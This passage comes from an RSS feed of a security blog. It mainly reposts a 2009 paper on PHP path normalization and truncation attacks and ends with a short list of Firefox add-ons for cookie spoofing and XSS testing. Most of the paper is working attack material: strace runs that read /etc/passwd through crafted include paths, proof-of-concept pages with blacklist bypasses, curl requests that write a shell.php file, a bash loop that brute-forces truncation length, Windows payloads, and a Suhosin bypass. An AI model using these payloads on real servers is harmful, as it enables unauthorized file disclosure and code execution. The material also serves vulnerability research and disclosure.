include_path = ".:/usr/share/php5:/usr/share/php"</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>The important thing when using the universal normalization vector is<br />
that at last one path is even and at last one is odd. The following<br />
is a complete strace of what happens:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ strace php -r 'include("a/../../../../etc/passwd".str_repeat("/.",<br />
2027)."/.append.inc");' 1>/dev/null</p>
<p>getcwd(&#8220;/home/antani&#8221;&#8230;, 4096)         = 13<br />
time(NULL)                              = 1232724170<br />
lstat64(&#8220;/usr&#8221;, {st_mode=S_IFDIR|0755, st_size=560, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share&#8221;, {st_mode=S_IFDIR|0755, st_size=9984, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share/php5&#8243;, {st_mode=S_IFDIR|0755, st_size=88, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share/php5/a&#8221;, 0x5edafcdc) = -1 ENOENT (No such file or<br />
directory)<br />
open(&#8220;/etc/passwd/&#8221;, O_RDONLY)          = -1 ENOTDIR (Not a directory)<br />
time(NULL)                              = 1232724170<br />
lstat64(&#8220;/usr&#8221;, {st_mode=S_IFDIR|0755, st_size=560, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share&#8221;, {st_mode=S_IFDIR|0755, st_size=9984, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share/php&#8221;, {st_mode=S_IFDIR|0755, st_size=72, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share/php/a&#8221;, 0x5edafcdc) = -1 ENOENT (No such file or<br />
directory)<br />
open(&#8220;/etc/passwd&#8221;, O_RDONLY)           = 3<br />
fstat64(3, {st_mode=S_IFREG|0644, st_size=3379, &#8230;}) = 0<br />
read(3, &#8220;root:x:0:0:root:/root:/bin/bash\nb&#8221;&#8230;, 8192) = 3379<br />
read(3, &#8220;&#8221;&#8230;, 8192)                    = 0<br />
read(3, &#8220;&#8221;&#8230;, 8192)                    = 0<br />
close(3)                                = 0</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>As we are going to demonstrate, this attack is only possible thanks to<br />
the include_path feature and a specially crafted payload able to<br />
trigger it.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ strace php -r 'include("etc/passwd/.");' 1>/dev/null<br />
(relative lookup to cwd, eg: open of /home/antani/etc/passwd, then<br />
include_path lookups)</p>
<p>$ strace php -r &#8216;include(&#8220;etc/passwd&#8221;.str_repeat(&#8220;/.&#8221;,<br />
2067).&#8221;/.append.inc&#8221;);&#8217; 1>/dev/null<br />
(no relative lookup (!!), then include_path lookups)</p>
<p>$ strace php -r &#8216;include(&#8220;../../../etc/passwd&#8221;.str_repeat(&#8220;/.&#8221;,<br />
2067).&#8221;/.append.inc&#8221;);&#8217; 1>/dev/null<br />
(complete failure)</p>
<p>$ strace php -r &#8216;include(&#8220;a/../../../etc/passwd&#8221;.str_repeat(&#8220;/.&#8221;,<br />
2067).&#8221;/.append.inc&#8221;);&#8217; 1>/dev/null<br />
(unexisting relative directory &#8220;a&#8221; in include_path paths, but ends<br />
opening /usr/etc/passwd cause it doesn&#8217;t traverse enought)<br />
getcwd(&#8220;/home/antani&#8221;&#8230;, 4096)         = 13<br />
time(NULL)                              = 1232728270<br />
lstat64(&#8220;/usr&#8221;, {st_mode=S_IFDIR|0755, st_size=560, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share&#8221;, {st_mode=S_IFDIR|0755, st_size=9984, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share/php5&#8243;, {st_mode=S_IFDIR|0755, st_size=88, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share/php5/a&#8221;, 0x5a9460cc) = -1 ENOENT (No such file or<br />
directory)<br />
open(&#8220;/usr/share/etc/passwd/&#8221;, O_RDONLY) = -1 ENOENT (No such file or<br />
directory)<br />
time(NULL)                              = 1232728270<br />
lstat64(&#8220;/usr&#8221;, {st_mode=S_IFDIR|0755, st_size=560, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share&#8221;, {st_mode=S_IFDIR|0755, st_size=9984, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share/php&#8221;, {st_mode=S_IFDIR|0755, st_size=72, &#8230;}) = 0<br />
lstat64(&#8220;/usr/share/php/a&#8221;, 0x5a9460cc) = -1 ENOENT (No such file or<br />
directory)<br />
open(&#8220;/usr/share/etc/passwd&#8221;, O_RDONLY) = -1 ENOENT (No such file or<br />
directory)</p>
<p>$ strace php -r &#8216;include(&#8220;a/../../../../etc/passwd&#8221;.str_repeat(&#8220;/.&#8221;,<br />
2067).&#8221;/.append.inc&#8221;);&#8217; 1>/dev/null<br />
(unexisting relative directory &#8220;a&#8221; in include_path paths, correctly open<br />
/etc/passwd)<br />
[..]<br />
open(&#8220;/etc/passwd/&#8221;, O_RDONLY)          = -1 ENOTDIR (Not a directory)<br />
[..]<br />
open(&#8220;/etc/passwd&#8221;, O_RDONLY)           = 3</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>So the payload has to start with a non-existing directory, continue with<br />
the traversal sled, point to the path to include and end with the<br />
normalization/truncation sled. Please refer to the VIII section (POC<br />
and attack code) for more compact POC code.</p>
<p>Here is a final demostration on how this truncation issue works, thanks<br />
to include_path and to the length of the path defined:</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ cat phpini_1<br />
[PHP]<br />
include_path = ".:/tmp/1234:/tmp/123"</p>
<p>$ cat phpini_2<br />
[PHP]<br />
include_path = ".:/tmp/123:/tmp/1234"</p>
<p>$ strace php -n -c phpini_1 -r<br />
'include("a/../../../../etc/passwd".str_repeat("/.", 2027)."/.append.inc");'<br />
getcwd("/home/antani"..., 4096)         = 13<br />
time(NULL)                              = 1232730352<br />
lstat64("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0<br />
lstat64("/tmp/1234", 0x5b3ad18c)        = -1 ENOENT (No such file or<br />
directory)<br />
open("//etc/passwd/.appen", O_RDONLY)   = -1 ENOTDIR (Not a directory)<br />
time(NULL)                              = 1232730352<br />
lstat64("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0<br />
lstat64("/tmp/123", 0x5b3ad18c)         = -1 ENOENT (No such file or<br />
directory)<br />
open("//etc/passwd/.append", O_RDONLY)  = -1 ENOTDIR (Not a directory)</p>
<p>$ strace php -n -c phpini_2 -r<br />
'include("a/../../../../etc/passwd".str_repeat("/.", 2027)."/.append.inc");'<br />
getcwd("/home/antani"..., 4096)         = 13<br />
time(NULL)                              = 1232730409<br />
lstat64("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0<br />
lstat64("/tmp/123", 0x5f5a491c)         = -1 ENOENT (No such file or<br />
directory)<br />
open("//etc/passwd/.append", O_RDONLY)  = -1 ENOTDIR (Not a directory)<br />
time(NULL)                              = 1232730409<br />
lstat64("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0<br />
lstat64("/tmp/1234", 0x5f5a491c)        = -1 ENOENT (No such file or<br />
directory)<br />
open("//etc/passwd/.appen", O_RDONLY)   = -1 ENOTDIR (Not a directory)</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>>From our analysis it turned out that the path truncation attack can<br />
work only if include_path contains at last one absolute path; this means<br />
that while vendor releases are mostly vulnerable, systems with the<br />
default commented include_path configuration are not affected at all.</p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ strace php -n -d include_path=".:" -r<br />
'include("a/../../../../etc/passwd".str_repeat("/.", 2067)."/.append.inc");'<br />
(doesn't work)</p>
<p>$ strace php -n -d include_path=".:/tmp" -r<br />
'include("a/../../../../etc/passwd".str_repeat("/.", 2067)."/.append.inc");'<br />
(works)</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Ending path truncation on latest PHP is possible and all the LFI<br />
exploits that make use of the nullbyte technique can now be rewritten<br />
in order to use the techniques exposed in this paper.</p>
<p>VII) The facts</p>
<p>The following section includes some tecnical examples for boh vanilla<br />
and patched PHP.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>strace -e getcwd,lstat64,open php -r 'file_get_contents("runme");';</p>
<p>getcwd("/home/antani"..., 4096)         = 13<br />
lstat64("/home", {st_mode=S_IFDIR|0755, st_size=336, ...}) = 0<br />
lstat64("/home/antani", {st_mode=S_IFDIR|0770, st_size=3216, ...}) = 0<br />
lstat64("/home/antani/runme", {st_mode=S_IFREG|0660, st_size=4109, ...}) = 0<br />
open("/home/antani/runme", O_RDONLY)    = 3</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>strace -e getcwd,lstat64,open php -r 'file_get_contents("runme/");';</p>
<p>getcwd("/home/antani"..., 4096)         = 13<br />
lstat64("/home", {st_mode=S_IFDIR|0755, st_size=336, ...}) = 0<br />
lstat64("/home/antani", {st_mode=S_IFDIR|0770, st_size=3216, ...}) = 0<br />
lstat64("/home/antani/runme", {st_mode=S_IFREG|0660, st_size=4109, ...}) = 0<br />
open("/home/antani/runme/", O_RDONLY)   = -1 ENOTDIR (Not a directory)</p>
<p>Warning: file_get_contents(runme/): failed to open stream: Not a<br />
directory in Command line code on line 1</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>strace -e getcwd,lstat64,open php -r 'file_get_contents("runme/.");';</p>
<p>getcwd("/home/antani"..., 4096)         = 13<br />
lstat64("/home", {st_mode=S_IFDIR|0755, st_size=336, ...}) = 0<br />
lstat64("/home/antani", {st_mode=S_IFDIR|0770, st_size=3216, ...}) = 0<br />
lstat64("/home/antani/runme", {st_mode=S_IFREG|0660, st_size=4109, ...}) = 0<br />
open("/home/antani/runme", O_RDONLY)    = 3</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>As visible with PHP, opening "runme/." or "runme/./." is the same as<br />
opening "runme". This leads to interesting considerations and security<br />
issues.</p>
<p>I informally spoke about this to Kuza55 and Wisec in April 2007 [4] but<br />
the analisys was incorrect.</p>
<p>We also made some checks to see if this was filesystem dependent and we<br />
found it was not (it's filesystem independent).</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>#!/bin/sh<br />
mkdir "/fs_""$1""_mount"<br />
dd if=/dev/zero of="fs_""$1" bs=1M count=10<br />
mkfs -t "$1" "fs_""$1"<br />
mount "fs_""$1" "/fs_""$1""_mount" -t "$1" -o loop</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Test and analisys for "PHP 5.2.8-pl1-gentoo"</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -v<br />
PHP 5.2.8-pl1-gentoo (cli) (built: Jan 21 2009 15:57:44)<br />
Copyright (c) 1997-2008 The PHP Group<br />
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies</p>
<p>DOESN'T WORK<br />
$ strace php -r 'include("/etc/passwd/");'<br />
lstat64("/etc", {st_mode=S_IFDIR|0755, st_size=7424, ...}) = 0<br />
lstat64("/etc/passwd", {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0<br />
open("/etc/passwd/", O_RDONLY)          = -1 ENOTDIR (Not a directory)<br />
write(1, "\nWarning: include(/etc/passwd/): "..., 103) = 103<br />
Warning: include(/etc/passwd/): failed to open stream: Not a directory<br />
in Command line code on line 1</p>
<p>WORKS<br />
$ strace php -r 'include("/etc/passwd/.");'<br />
lstat64("/etc", {st_mode=S_IFDIR|0755, st_size=7424, ...}) = 0<br />
lstat64("/etc/passwd", {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0<br />
open("/etc/passwd", O_RDONLY)           = 3<br />
fstat64(3, {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0</p>
<p>WORKS<br />
$ test="a/../../../../etc/passwd"$(printf '/.%.0s' {1..2048})"ppend.inc";<br />
$ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");"<br />
open("/etc/passwd/", O_RDONLY)          = -1 ENOTDIR (Not a directory)<br />
open("/etc/passwd", O_RDONLY)           = 3</p>
<p>WORKS<br />
$ test="a/../../../../etc/passwd"$(printf '/.%.0s' {1..2028})"ppend.inc";<br />
$ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");"<br />
open("/etc/passwd/", O_RDONLY)          = -1 ENOTDIR (Not a directory)<br />
open("/etc/passwd", O_RDONLY)           = 3</p>
<p>DOESN'T WORK<br />
$ test="a/../../../etc/passwd"$(printf '/%.0s' {1..4062})"ppend.inc";<br />
$ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");"<br />
open("/etc/passwd/", O_RDONLY)  = -1 ENOENT (No such file or directory)<br />
open("/etc/passwd/", O_RDONLY)  = -1 ENOENT (No such file or directory)</p>
<p>DOESN'T WORK<br />
$ test="a/../../../../etc/passwd"$(printf '/%.0s' {1..4063})"ppend.inc";<br />
$ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");"<br />
open("/etc/passwd/", O_RDONLY)  = -1 ENOENT (No such file or directory)<br />
open("/etc/passwd/", O_RDONLY)  = -1 ENOENT (No such file or directory)</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Summary for "5.2.8-pl1-gentoo without any patch:</p>
<p> - Appending / to a file does not work.<br />
   (While will work for patched PHP versions as shown below)</p>
<p> - Appending /. to a file works!<br />
   Bypasses blacklist filters.</p>
<p> - Appending many / to a file doesn't work!<br />
   (While will work for patched PHP versions as shown below)</p>
<p> - Appending many /. to a file works!<br />
   Bypasses blacklist filters and CAN be used for path truncation!</p>
<p>Test and analisys for "5.2.8-pl1-gentoo with Suhosin-Patch 0.9.6.3":</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ php -v<br />
PHP 5.2.8-pl1-gentoo with Suhosin-Patch 0.9.6.3 (cli) (built: Jan 21<br />
2009 15:19:02)<br />
Copyright (c) 1997-2008 The PHP Group<br />
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies<br />
    with Suhosin v0.9.27, Copyright (c) 2007, by SektionEins GmbH</p>
<p>WORKS<br />
$ strace php -r 'include("/etc/passwd/");'<br />
lstat64("/etc", {st_mode=S_IFDIR|0755, st_size=7424, ...}) = 0<br />
lstat64("/etc/passwd", {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0<br />
open("/etc/passwd", O_RDONLY)           = 3<br />
fstat64(3, {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0</p>
<p>WORKS<br />
$ strace php -r 'include("/etc/passwd/.");'<br />
lstat64("/etc", {st_mode=S_IFDIR|0755, st_size=7424, ...}) = 0<br />
lstat64("/etc/passwd", {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0<br />
open("/etc/passwd", O_RDONLY)           = 3<br />
fstat64(3, {st_mode=S_IFREG|0644, st_size=3379, ...}) = 0</p>
<p>DOESN'T WORK (2048*2 is too much and Suhosin block it)<br />
$ test="a/../../../../etc/passwd"$(printf '/.%.0s' {1..2048})"ppend.inc";<br />
$ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");"<br />
ALERT - Include filename ([OMIT])  is too long (attacker [OMIT]</p>
<p>WORKS! (Tweaked number of /.! Also note the absence of [lf]stat64 calls)<br />
$ test="a/../../../../etc/passwd"$(printf '/.%.0s' {1..2028})"ppend.inc";<br />
$ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");"<br />
open("/etc/passwd/", O_RDONLY)          = -1 ENOTDIR (Not a directory)<br />
open("/etc/passwd", O_RDONLY)           = 3</p>
<p>DOESN'T WORK<br />
$ test="a/../../../.../etc/passwd"$(printf '/%.0s' {1..4062})"ppend.inc";<br />
$ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");"<br />
open("/usr/.../etc/passwd/", O_RDONLY)  = -1 ENOENT (No such file or<br />
directory)<br />
open("/usr/.../etc/passwd/", O_RDONLY)  = -1 ENOENT (No such file or<br />
directory)</p>
<p>DOESN'T WORK<br />
$ test="a/../../../.../etc/passwd"$(printf '/%.0s' {1..4063})"ppend.inc";<br />
$ strace -e open php -r "echo \"$test\".\"\n\"; @include(\"$test\");"<br />
ALERT - Include filename ([OMIT])  is too long (attacker [OMIT]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Summary for "5.2.8-pl1-gentoo with Suhosin-Patch 0.9.6.3":</p>
<p> - Appending / to a file works!<br />
   Bypasses blacklist filters.</p>
<p> - Appending /. to a file works!<br />
   Bypasses blacklist filters.</p>
<p> - Appending many / to a file works!<br />
   Bypasses blacklist filters but CAN'T be used for path truncation.</p>
<p> - Appending many /. to a file works!<br />
   Bypasses blacklist filters and CAN be used for path truncation!</p>
<p>So our universal file truncation attack for PHP works also on Suhosin.</p>
<p>VIII) POC and attack code</p>
<p>- Blacklist extension check for reading</p>
<p>This POC will expose the bypass of a file viewer that blacklists certain<br />
file extensions.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p><?php</p>
<p>if (substr($_GET['file'], -4, 4) != '.php')<br />
 echo file_get_contents($_GET['file']);<br />
else<br />
 echo 'You are not allowed to see source files!'."\n";</p>
<p>?></p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>This would be normally not exploitable, but with the exposed techniques<br />
it is.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ curl<br />
"http://localhost/poc_blacklist_bypass_read.php?file=poc_blacklist_bypass_read.php"<br />
You are not allowed to see source files!</p>
<p>$ curl<br />
"http://localhost/poc_blacklist_bypass_read.php?file=poc_blacklist_bypass_read.php/."<br />
[OMISSION, the application source, a quine!]</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>As you can see appending the neutral "/." token successfully tricks the<br />
check.</p>
<p>- Blacklist extension check for writing (online file editors, etc.)</p>
<p>This POC will expose the bypass of an online file editor that<br />
blacklists certain file extensions.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p><?php</p>
<p>if (<br />
 isset($_POST['file']) &#038;&#038;<br />
 substr($_POST['file'], -4, 4) != '.php' &#038;&#038;<br />
 isset($_POST['text'])<br />
)<br />
 echo file_put_contents($_POST['file'], $_POST['text']);<br />
else<br />
 echo 'You are not allowed to edit or create source files!'."\n";</p>
<p>?></p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>Exploitation is similar to the previous POC.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ curl "http://localhost/poc_blacklist_bypass_edit.php" \<br />
   -d "file=shell.php&#038;text=antani"<br />
You are not allowed to edit or create source files!</p>
<p>$ curl "http://localhost/poc_blacklist_bypass_edit.php" \<br />
   -d "file=shell.php/.&#038;text=antani"<br />
6</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>By the way: six is the number of bytes written to "shell.php".</p>
<p>- Path truncation POC</p>
<p>We provide both a standard vulnerable page and an "attack" utility,<br />
tweak the "TWEAK ME" line to use the payload of your choice.</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>$ cat poc_path_truncation.php<br />
<?php<br />
include('includes/class_'.addslashes($_GET['class']).'.php');<br />
?></p>
<p>$ cat poc_path_truncation.sh<br />
#!/bin/bash<br />
url=&#8221;http://localhost/poc_file_truncation.php?class=unexisting/../../../../../etc/passwd/.&#8221;<br />
n_iterations=3000<br />
for ((repetitions=1; repetitions< =n_iterations; repetitions+=1)); do<br />
 if [ "`curl -kis $url | grep "^root:x"`" != "" ]; then<br />
  echo -en "[$repetitions]";<br />
 else<br />
  echo -en ".";<br />
 fi<br />
 url+="/."; # TWEAK ME<br />
done</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>At a certain lenght (2019 on our test system) it should start printing<br />
numbers inside square brackets, that means that /etc/passwd has been<br />
succesfully included.</p>
<p>- Windows path truncation POC</p>
<p>On Windows the universal path truncation token is "./" and not "/.".</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p><?php<br />
include('file.est'.str_repeat("./",4096).'.php');<br />
include('/file.est'.str_repeat("./",4096).'.php');<br />
include('localnonexistent/../../../../../file.est'.str_repeat("./",4096).'.php');<br />
include('localexistent/../../../../.././file.est'.str_repeat("./",4096).'.php');<br />
include('/wamp/../../../../.././file.est'.str_repeat("./",4096).'.php');<br />
?></p>
<p>&#8211;8< --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p>This means that "file.est./././[OMIT]./.php" will work, while the<br />
already seen "file.est/././[OMIT]././.php" will not. Please keep this<br />
in mind when working with Windows machines.</p>
<p>The tokenizer is defined as follows:</p>
<p>TSRM/tsrm_virtual_cwd.c-82:#define TOKENIZER_STRING "/\\"</p>
<p>Another payload that works for the truncation attack is ".\" but we<br />
weren't able to find something equivalent to the "/etc/passwd/." on<br />
Unix. Feel curious and want to spend more time on the issue? (-;</p>
<p>--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--</p>
<p><?php<br />
include('file.ext'.str_repeat(".\\",4096).'.php');<br />
include('/file.ext'.str_repeat(".\\",4096).'.php');<br />
include('localnonexistent/../../../../../file.ext'.str_repeat(".\\",4096).'.php');<br />
include('localexistent/../../../../.././file.ext'.str_repeat(".\\",4096).'.php');<br />
include('/wamp/../../../../.././file.ext'.str_repeat(".\\",4096).'.php');<br />
?></p>
<p>&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;</p>
<p>IX) Conclusions</p>
<p>Path normalization can be used for a number of goals including<br />
blacklist check bypass on isset, write and read filesystem operations<br />
plus signature evasion.</p>
<p>Path truncation can be used in place of nullbyte poisoning if an<br />
include_path setting with absolute directories is present in order to<br />
archieve LFI (and RFI [5]) attacks.</p>
<p>X) References</p>
<p>[1] http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736<br />
[2] http://pragmatk.blogspot.com/2009/01/lfi-fun.html<br />
[3] http://pragmatk.blogspot.com/2009/01/lfi-fun-2.html<br />
[4] http://www.ush.it/team/ush/hack-phpfs/log_ascii_kuza_07-04-08.txt<br />
[5]</p>
<p>http://www.ush.it/2008/08/18/lfi2rce-local-file-inclusion-to-remote-code-execution-advanced-exploitation-proc-shortcuts/</p>
<p>[6]</p>
<p>http://verens.com/archives/2008/10/13/security-hole-for-files-with-a-dot-at-the-end/</p>
<p>    I was reading the Apache source to try spot the problem, and found<br />
    the area where it happens &#8211; it&#8217;s in the file &#8220;http/mod_mime.c&#8221;.<br />
    The function &#8220;find_ct()&#8221; extracts the extension for the server to<br />
    use. Unfortunately, it ignores all extensions it does not understand,<br />
    so it&#8217;s not just a case of &#8220;test.php.&#8221; being parsed as &#8220;.php&#8221;, but<br />
    also &#8220;test.php.fdabsfgdsahfj&#8221; and other similar rubbish files!<br />
[7] http://download.suhosin.org/suhosin-patch-5.2.8-0.9.6.3.patch.gz</p>
<p>&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;</p>
<p>Credits (Out of band)</p>
<p>This article has been bought to you by ush.it team. Francesco &#8220;ascii&#8221;<br />
Ongaro and Giovanni &#8220;evilaliv3&#8243; Pellerano are the ones who spent most<br />
hours on it with the precious help of Antonio &#8220;s4tan&#8221; Parata, Stefano<br />
&#8220;Wisec&#8221; Di Paola, Alex &#8220;kuza55&#8243;, Alessandro &#8220;Jekil&#8221; Tanasi and many<br />
other friends. A special greeting is for Florin &#8220;Slippery&#8221; Iamandi, a<br />
men behind, in a way or another, many of the productions of ush.it.</p>
<p>Thanks everybody, you all make me feel at home!</p>
<p>Francesco &#8220;ascii&#8221; Ongaro<br />
web site: http://www.ush.it/<br />
mail: ascii AT ush DOT it</p>
<p>Giovanni &#8220;evilaliv3&#8243; Pellerano<br />
web site: http://www.evilaliv3.org/<br />
mail: giovanni.pellerano AT evilaliv3 DOT org</p>
<p>&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;8<&#8211;</p>
<p>Legal Notices</p>
<p>Copyright (c) 2009 Francesco &#8220;ascii&#8221; Ongaro</p>
<p>Permission is granted for the redistribution of this alert<br />
electronically. It may not be edited in any way without mine express<br />
written consent. If you wish to reprint the whole or any<br />
part of this alert in any other medium other than electronically,<br />
please email me for permission.</p>
<p>Disclaimer: The information in the article is believed to be accurate<br />
at the time of publishing based on currently available information. Use<br />
of the information constitutes acceptance for use in an AS IS condition.<br />
There are no warranties with regard to this information. Neither the<br />
author nor the publisher accepts any liability for any direct, indirect,<br />
or consequential loss or damage arising from use of, or reliance on,<br />
this information.</p>
<p># milw0rm.com [2009-02-10]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/php-filesystem-attack-vectors.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>火狐九款常用组件</title>
		<link>http://www.nuanyue.com/%e7%81%ab%e7%8b%90%e4%b9%9d%e6%ac%be%e5%b8%b8%e7%94%a8%e7%bb%84%e4%bb%b6.html</link>
		<comments>http://www.nuanyue.com/%e7%81%ab%e7%8b%90%e4%b9%9d%e6%ac%be%e5%b8%b8%e7%94%a8%e7%bb%84%e4%bb%b6.html#comments</comments>
		<pubDate>Sat, 23 May 2009 06:34:12 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Application Security | 应用安全]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=530</guid>
		<description><![CDATA[<p>1. Add N Edit Cookies 查看和修改本地的Cookie，Cookie欺骗必备。</p>
<p>　　2. User Agent Switcher 修改浏览器的User Agent，可以用来XSS。</p>
<p>　　3. RefControl 修改Referer引用，也可以用来XSS或者突破一些防盗链。关于Re[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e7%81%ab%e7%8b%90%e4%b9%9d%e6%ac%be%e5%b8%b8%e7%94%a8%e7%bb%84%e4%bb%b6.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>1. Add N Edit Cookies 查看和修改本地的Cookie，Cookie欺骗必备。</p>
<p>　　2. User Agent Switcher 修改浏览器的User Agent，可以用来XSS。</p>
<p>　　3. RefControl 修改Referer引用，也可以用来XSS或者突破一些防盗链。关于Referer XSS的可以参考利用雅虎站长工具跨站给管理员挂马。</p>
<p>　　4.Live HTTP Headers 记录本地的Get和Post数据，并可修改数据后重新提交。</p>
<p>　　5. Poster 用来Post和Get数据。</p>
<p>　　6. HackBar 小工具包，包含一些常用的工具。(SQL injection,XSS,加密等)</p>
<p>　　7. XSS-Me &#038;SQL Inject-Me&#038;Access-Me 分别用来检测XSS，SQL Inject和Access缺陷。</p>
<p>　　8. Firebug 可以编辑、测试和实时观察任何页面中的 CSS，HTML，和JavaScript，控制查看的数据和 HTTP/HTTPS 的消息头和 POST 参数,还有 DOM Inspector 来检查任何的 HTM L或 CSS 组成。</p>
<p>　　9. Web Developer</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e7%81%ab%e7%8b%90%e4%b9%9d%e6%ac%be%e5%b8%b8%e7%94%a8%e7%bb%84%e4%bb%b6.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP字符编码绕过漏洞总结</title>
